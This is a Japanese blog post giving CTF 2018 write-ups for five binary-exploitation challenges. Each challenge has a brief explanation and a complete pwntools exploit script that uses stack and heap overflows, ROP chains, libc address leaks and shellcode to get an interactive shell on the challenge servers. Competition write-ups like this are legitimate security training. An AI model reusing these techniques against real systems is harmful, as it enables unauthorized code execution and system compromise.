ブログ未満のなにか

ブログなのか誰にも分からない

* CTF 2018 writeup

warmup (misc)

miscだがpwnだった。 stack bofがあるのでやるだけ。

#!/usr/bin/env python
from pwn import *

context(os='linux', arch='amd64')
context.log_level = 'debug' # output verbose log

RHOST = "47.91.226.78"
RPORT = 10006
LHOST = "127.0.0.1"
LPORT = 10006

# libc = ELF('./libc.so.6-56d992a0342a67a887b8dcaae381d2cc51205253')
elf = ELF('./warmup')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        # set environment LD_PRELOAD=./libc.so.6-56d992a0342a67a887b8dcaae381d2cc51205253
        b *{0}
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./warmup'], execute)
else:
    conn = process(['./warmup'])
    # conn = process(['./warmup'], env={'LD_PRELOAD': './libc.so.6-56d992a0342a67a887b8dcaae381d2cc51205253'})

# preparing for exploitation


pop_rdi = 0x00400a63
# mov rdx, r13 ; mov rsi, r14 ; mov edi, r15d ; call qword [r12+rbx*8] ;  (1 found)
call_r12 = 0x00400a40
# pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret  ;  (1 found)
set_regs = 0x00400a5a
printf_got = 0x0000000000600fc8
puts_plt = elf.symbols['puts']
main_addr = 0x4008B9


log.info('Pwning')

conn.sendlineafter('for?', str(0x601030))
conn.recv(1)
heap_addr = int(conn.recvline(), 16)
log.info('heap_addr = 0x%x', heap_addr)

payload = 'x'*0x18 + p64(heap_addr) + 'y'*0x8 + p64(main_addr)
conn.sendline(payload)

conn.sendlineafter('for?', str(0x601010))
conn.recv(1)
libc_base = int(conn.recvline(), 16) - 0x3c5620
log.info('libc_base = 0x%x', libc_base)

payload = 'x'*0x18 + p64(heap_addr+0x20) + 'y'*0x8 + p64(libc_base + 0x4526a) + p64(0) * 10
conn.sendline(payload)

conn.interactive()

urlparse (pwn)

size 0にするとbkに該当する部分からアドレスリークができる。 top chunkを移動させることでchunk sizeを巻き込んだencode/decodeができ、chunk sizeの改竄ができる。

#!/usr/bin/env python
from pwn import *

context(os='linux', arch='amd64')
# context.log_level = 'debug' # output verbose log

RHOST = "47.75.4.252"
RPORT = 10013
LHOST = "127.0.0.1"
LPORT = 10013

# libc = ELF('')
elf = ELF('./urlparse2')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        # set environment LD_PRELOAD=
        b *{0}
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./aaa'], execute)
else:
    conn = process(['./urlparse2'])
    # conn = process(['./c1c1d680-836d-4b96-8648-772ee5cd81b7.urlparse-47e10be0295a1c6c479a260239f5e0b1fd0c9696'], env={'LD_PRELOAD': ''})

# preparing for exploitation
def create(size, url):
    conn.sendlineafter('> ', '1')
    conn.sendlineafter('size: ', str(size))
    conn.sendlineafter('URL: ', url)

def encode(idx):
    conn.sendlineafter('> ', '2')
    conn.sendlineafter('index: ', str(idx))

def decode(idx):
    conn.sendlineafter('> ', '3')
    conn.sendlineafter('index: ', str(idx))

def _list():
    conn.sendlineafter('> ', '4')

def delete(idx):
    conn.sendlineafter('> ', '5')
    conn.sendlineafter('index: ', str(idx))


log.info('Pwning')

create(0x80, '%31%31%31')
create(0x80, '%31%31%31')
delete(1)
create(0x0, '')
_list()
conn.recvuntil('0: ')
libc_base = u64(conn.recv(6) +'\x00\x00') - 0x3c4bf8
log.info('libc_base = 0x%x', libc_base)
delete(1)
delete(0)
create(0x80, 'xxxx')
create(0x80, 'yyyy')
create(0x80, 'wwww')
create(0x80, 'zzzz')
delete(0)
delete(1)
create(0x0, '')
_list()
conn.recvuntil('0: ')
heap_base = u64(conn.recv(6) +'\x00\x00') - 0xb0
log.info('heap_base = 0x%x', heap_base)
delete(0)
delete(0)
delete(0)

create(0x100, '\x10'*0x100)
delete(0)
create(0, '')
create(0x1000, 'hoge')
create(0x1000, 'hoge')
create(0x60, 'targetfastbin')
create(0x1000-0x70, 'hoge')
create(0x100, 'BANPEI')
encode(5)
delete(4)
delete(2)   # free fastbin

import urllib

for _ in range(0x20-2):
    create(0x100, 'hoge')

payload = 'h'*0x30
payload += '%25%37%31' + '%25%30%30' * 7
payload += urllib.quote(urllib.quote(p64(libc_base + 0x3c4aed)))
create(0x100, payload)
decode(0)
create(0x60, 'a')
payload = 'x'*0xb + p64(libc_base + 0xf1147)
create(0x60, payload)

conn.interactive()

babtstack (pwn)

よくわからんがcanaryがあるはずなのに、exloitできてしまった。

#!/usr/bin/env python
from pwn import *

context(os='linux', arch='amd64')
context.log_level = 'debug' # output verbose log

RHOST = "47.91.226.78"
RPORT = 10005
LHOST = "127.0.0.1"
LPORT = 10005

# libc = ELF('./libc.so.6-56d992a0342a67a887b8dcaae381d2cc51205253')
elf = ELF('./bs')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        b *0x400a9c
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./bs'], execute)
else:
    conn = process(['./bs'])
    # conn = process(['./bs'], env={'LD_PRELOAD': './libc.so.6-56d992a0342a67a887b8dcaae381d2cc51205253'})

# preparing for exploitation

pop_rbp = 0x00400870
leave_ret =  0x00400955
pop_rdi = 0x00400c03
pop_rsi_r15 = 0x00400c01
# pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret  ;  (1 found)
set_regs = 0x400bfa
# mov rdx, r13 ; mov rsi, r14 ; mov edi, r15d ; call qword [r12+rbx*8] ;  (1 found)
call_r12 = 0x00400be0
puts_plt = elf.symbols['puts']
read_plt = elf.symbols['read']
read_got = 0x0000000000601fd0


log.info('Pwning')

conn.recvuntil('send?')
conn.sendline(str(0x20c0))
time.sleep(0.01)

payload = 'x'*(0x20c0 - 0x10a8)
rop = p64(0x00400c03) + p64(0x601fd8) + p64(puts_plt)
rop += p64(set_regs) + p64(0x0) + p64(0x1) + p64(read_got) + p64(0x100) + p64(0x602f00) + p64(0)
rop += p64(call_r12) + p64(0x0)*7
rop += p64(pop_rbp) + p64(0x602f00) + p64(leave_ret)
payload += rop

conn.send(payload.ljust(0x20c0, 'x'))
conn.recvuntil('goodbye.\n')

libc_base = u64(conn.recv(6) + '\x00'*2) - 0x20740
log.info('libc_base = 0x%x', libc_base)

rop = '\x00'*0x8 + p64(pop_rdi) + p64(libc_base + 0x18cd57) + p64(libc_base + 0x45390)
rop = '\x00'*0x8 + p64(libc_base + 0x4526a)
conn.sendline(rop)
conn.interactive()

primepwn (pwn)

long型の数値を入力すると、それが素数かどうか判定する。 素数であればその値をshellcodeとして実行してくれる。 素数となるstagerを送った。

#!/usr/bin/env python
from pwn import *

context(os='linux', arch='amd64')
# context.log_level = 'debug' # output verbose log

RHOST = "47.89.18.224"
RPORT = 10008
LHOST = "127.0.0.1"
LPORT = 10008

# libc = ELF('')
elf = ELF('./primepwn')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        b *0x400a87
        b *0x400a3a
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./primepwn'], execute)
else:
    conn = process(['./primepwn'])
    # conn = process(['./primepwn'], env={'LD_PRELOAD': ''})

# preparing for exploitation

log.info('Pwning')
conn.recvuntil('(xxxx+')
salt = conn.recv(len('cACBELX3C9pULUUB'))
print salt
conn.recvuntil(' == ')
hashed = conn.recvline()[:-1]
print hashed
import hashlib
import string
import itertools

def search(s, h):
    chars = string.ascii_letters + string.digits

    for el in itertools.permutations(chars, 4):
        x = ''.join(el)
        if hashlib.sha256(x+s).hexdigest() == h:
            return x
    return None

conn.sendline(search(salt, hashed))

shellcode = '''hoge: syscall;
xchg ecx,esi;
mov dh,18;
jmp hoge'''

shell = 'mov rsp, 0x601f00'

print u64(asm(shellcode))
conn.sendline(str(u64(asm(shellcode))))
time.sleep(1)
conn.sendline('\x90'*0x20+asm(shell)+asm(shellcraft.sh()))
time.sleep(1)
conn.interactive()

note (pwn)

stack bofがありscanfに渡す制御文字を制御できるのでさらなるstack bofを起こした。

#!/usr/bin/env python
from pwn import *

context(os='linux', arch='amd64')
context.log_level = 'debug' # output verbose log

RHOST = "47.89.18.224"
RPORT = 10007
LHOST = "127.0.0.1"
LPORT = 10007

# libc = ELF('./libc.so.6')
elf = ELF('./note')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        b *0x400fe9
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./note'], execute)
else:
    conn = process(['./note'])
    # conn = process(['./note'], env={'LD_PRELOAD': './libc.so.6'})

# preparing for exploitation

def edit(payload):
    conn.sendlineafter('> ', '1')
    conn.sendlineafter('Note:', payload)

def show():
    conn.sendlineafter('> ', '2')
    conn.recvuntil('Note:')
    return conn.recvline()[:-1]

def save():
    conn.sendlineafter('> ', '3')
    conn.recvuntil('Saved!')

def change(payload):
    conn.sendlineafter('> ', '4')
    conn.sendlineafter('ID:', payload)

'''
0x00401003: pop rdi ; ret  ;  (1 found)
0x00401001: pop rsi ; pop r15 ; ret  ;  (1 found)
0x00400ffa: pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret  ;  (1 found)
0x00400fd8: nop dword [rax+rax+0x00000000] ; mov rdx, r13 ; mov rsi, r14 ; mov edi, r15d ; call qword [r12+rbx*8] ;  (1 found)
'''
pop_rdi = 0x00401003
pop_rsi_r15 = 0x00401001
set_regs = 0x00400ffa
call_r12 = 0x00400fd8
leave_ret = 0x00400e3d

printf_plt = elf.symbols['printf']
puts_got = 0x601f90
write_file = 0x400D4D
main = 0x400E3F

log.info('Pwning')

conn.sendline('%s'*0x69)
payload = 'x'*168 + p64(0x602110)
#payload = 'x'*168 + 'z' *8
payload = payload.ljust(0x100, 'y')
edit(payload)
payload = 'a'*0x64
payload += p64(set_regs) + p64(0x0) + p64(1) + p64(puts_got)+p64(0)*2+p64(puts_got)
payload += p64(call_r12) + p64(0)*7
payload += p64(set_regs) + p64(0x0) + p64(1) + p64(puts_got)+p64(0)*2+p64(puts_got+0x300)
payload += p64(call_r12) + p64(0)*7
payload += p64(set_regs) + p64(0x0) + p64(1) + p64(0x0000000000601ff0)+p64(0)+p64(0x602f00)+p64(0x602110)
payload += p64(call_r12) + p64(0)*2 + p64(0x00602f00) + p64(0)*4
payload += p64(leave_ret)
conn.recvuntil('> ')
conn.sendline(payload)

libc_base = u64(conn.recv(6)+'\x00\x00') - 0x6f690
print hex(libc_base)

payload = 'x'*8 + p64(libc_base + 0x4526a)
conn.sendline(payload)
conn.interactive()